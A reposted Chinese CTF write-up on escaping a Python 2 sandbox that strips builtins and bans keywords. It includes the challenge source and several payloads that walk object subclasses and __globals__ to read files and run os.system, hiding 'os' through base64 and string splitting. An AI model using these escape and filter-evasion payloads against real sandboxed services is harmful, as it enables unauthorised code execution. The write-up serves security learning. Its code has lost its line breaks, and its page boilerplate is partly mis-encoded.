CTF python沙箱逃逸进阶题目
生活随笔
收集整理的這篇文章主要介紹了
CTF python沙箱逃逸进阶题目
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
future引用了python3的新特性,所以是不能直接回回顯,得用print
file函數(shù)可以讀取。
print(().__class__.__bases__[0].__subclasses__()[40]('./sx2.py').read())讀取源碼后:
from __future__ import print_function banned = ["import","exec","eval","pickle","os","subprocess","kevin sucks","input","banned","cry sum more","sys" ] targets = __builtins__.__dict__.keys() targets.remove('raw_input') targets.remove('print') for x in targets:del __builtins__.__dict__[x] while 1:print(">>>", end=' ')data = raw_input()for no in banned:if no.lower() in data.lower():print("No bueno")breakelse: # this means nobreakexec data沒有ban reload函數(shù),所以思路就是
reload(__builtins__) 可沒想到不知道為啥不行。然后想別的辦法。只禁用了builtins里的函數(shù),那我們找<class 'site._Printer'>
payload
print("".__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os']).system('dir')(windows下,我的linux下是71)。可發(fā)現(xiàn)還是不行,原因是不僅僅把builtins里面的危險函數(shù)禁用了,還有關(guān)鍵字符一起禁用了(在最后的一個小的if判斷里面)
于是想到'os'變?yōu)?#39;b3M='.decode('base64')最終的payload
print("".__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['b3M='.decode('base64')]).system('dir')另外從別人那里偷來一句:
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))轉(zhuǎn)載于:https://www.cnblogs.com/zaqzzz/p/10260469.html
總結(jié)
以上是生活随笔為你收集整理的CTF python沙箱逃逸进阶题目的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: flask上下文管理机制
- 下一篇: [Python3] 015 冰冻集合的内